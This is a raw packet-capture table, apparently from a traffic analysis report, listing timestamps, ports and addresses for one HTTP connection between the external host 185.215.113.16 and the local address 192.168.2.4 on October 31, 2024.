Oct 31, 2024 03:04:22.940778971 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.940788984 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.940793991 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.940798998 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.940810919 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.940821886 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.940828085 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.940841913 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.940841913 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.940865993 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.941013098 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.941024065 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.941032887 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.941080093 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.941092014 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.941092968 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.941092968 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.941106081 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.941128016 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.941133976 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.941143990 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.941154003 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.941163063 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.941164970 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.941174984 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.941201925 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.941224098 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.941289902 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.941349983 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.941363096 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.941366911 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.941390038 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.941401958 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.941409111 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.941436052 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.941454887 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.941456079 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.941468000 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.941478968 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.941498041 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.941524029 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.941888094 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.941899061 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.941909075 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.941952944 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.941968918 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.941981077 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.941989899 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.942025900 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.942042112 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.942047119 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.942054033 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.942064047 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.942121029 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.942121029 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.942197084 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.942208052 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.942218065 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.942229986 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.942241907 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.942251921 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.942270994 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.942270994 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.942333937 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.974594116 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.974612951 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.974622011 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.974677086 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.974694967 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.974706888 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.974718094 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.974742889 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.974742889 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.974761009 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.974761009 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.974776983 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.974788904 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.974801064 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.974802017 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.974813938 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.974833965 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.974864006 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.974915028 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.974924088 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.974934101 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.974946976 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.974957943 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.974970102 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.974982023 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.974982023 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.974997044 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.975007057 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.975012064 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.975023031 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:22.975039005 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.975039005 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:22.975075960 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.019619942 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.019665956 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.019675970 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.019706964 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.019706964 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.019735098 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.019741058 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.019752979 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.019763947 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.019794941 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.019799948 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.019809961 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.019834042 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.019835949 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.019845963 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.019855976 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.019865990 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.019876957 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.019912004 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.019912004 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.020029068 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.020044088 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.020054102 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.020119905 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.020119905 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.057426929 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.057450056 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.057465076 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.057487011 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.057501078 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.057693005 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.057769060 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.057780981 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.057810068 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.057821035 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.057831049 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.057835102 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.057842970 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.057856083 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.057882071 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.057893038 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.057903051 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.057917118 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.057917118 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.057950020 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.058456898 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.058485031 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.058495998 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.058517933 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.058526039 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.058558941 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.058583021 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.058593988 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.058604002 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.058659077 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.058789968 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.058801889 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.058811903 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.058825016 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.058835983 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.058845043 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.058859110 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.058895111 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.059060097 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.059070110 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.059087992 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.059112072 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.059117079 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.059123993 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.059132099 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.059139967 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.059144974 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.059154987 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.059190035 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.059195042 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.059201956 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.059211969 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.059220076 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.059220076 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.059221983 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.059254885 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.059391022 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.059402943 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.059416056 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.059437990 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.059448957 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.059453964 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.059453964 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.059459925 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.059472084 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.059506893 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.059506893 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.059513092 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.059525013 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.059535980 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.059546947 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.059576035 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.059576035 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.059673071 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.059716940 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.059727907 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.059752941 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.059752941 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.059777975 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.059801102 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.059812069 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.059819937 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.059854031 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.059992075 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.060009003 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.060019970 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.060030937 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.060041904 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.060051918 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.060055971 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.060075045 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.060100079 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.060136080 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.060148001 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.060162067 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.060189962 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.060225010 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.060451984 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.060462952 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.060492039 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.060503006 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.060513020 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.060518026 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.060527086 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.060527086 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.060585976 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.060691118 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.060708046 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.060725927 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.060729027 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.060736895 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.060748100 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.060770988 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.060775042 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.060787916 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.060789108 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.060806036 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.060818911 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.060821056 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.060828924 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.060843945 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.060882092 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.060882092 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.093219995 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.093272924 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.093307972 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.093317986 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.093357086 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.093380928 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.093391895 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.093394041 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.093403101 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.093415022 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.093431950 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.093453884 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.093480110 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.093491077 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.093522072 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.093533993 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.093538046 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.093552113 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.093559980 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.093570948 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.093581915 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.093588114 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.093599081 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.093617916 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.093627930 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.093666077 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.093668938 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.093677044 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.093688011 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.093703985 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.093708038 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.093730927 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.093744040 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.141860962 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.141875982 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.141885996 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.141897917 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.141916990 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.141958952 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.142000914 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.142019987 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.142030954 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.142040968 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.142051935 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.142061949 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.142074108 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.142086029 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.142086029 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.142086029 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.142095089 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.142136097 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.142136097 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.175890923 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.175961018 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.175992966 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.176002979 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.176065922 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.176078081 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.176084042 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.176089048 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.176127911 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.176151991 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.176296949 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.176307917 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.176321983 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.176347971 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.176354885 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.176359892 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.176398993 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.176398993 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.176426888 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.176440001 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.176450014 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.176481962 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.176506996 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.176645041 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.176657915 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.176667929 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.176712990 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.176743984 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.177037954 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.177050114 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.177061081 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.177092075 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.177109957 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.177136898 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.177149057 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.177171946 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.177182913 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.177191973 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.177194118 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.177217960 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:23.177218914 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.177237034 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:23.177241087 CET	63827	80	192.168.2.4	185.215.113.16
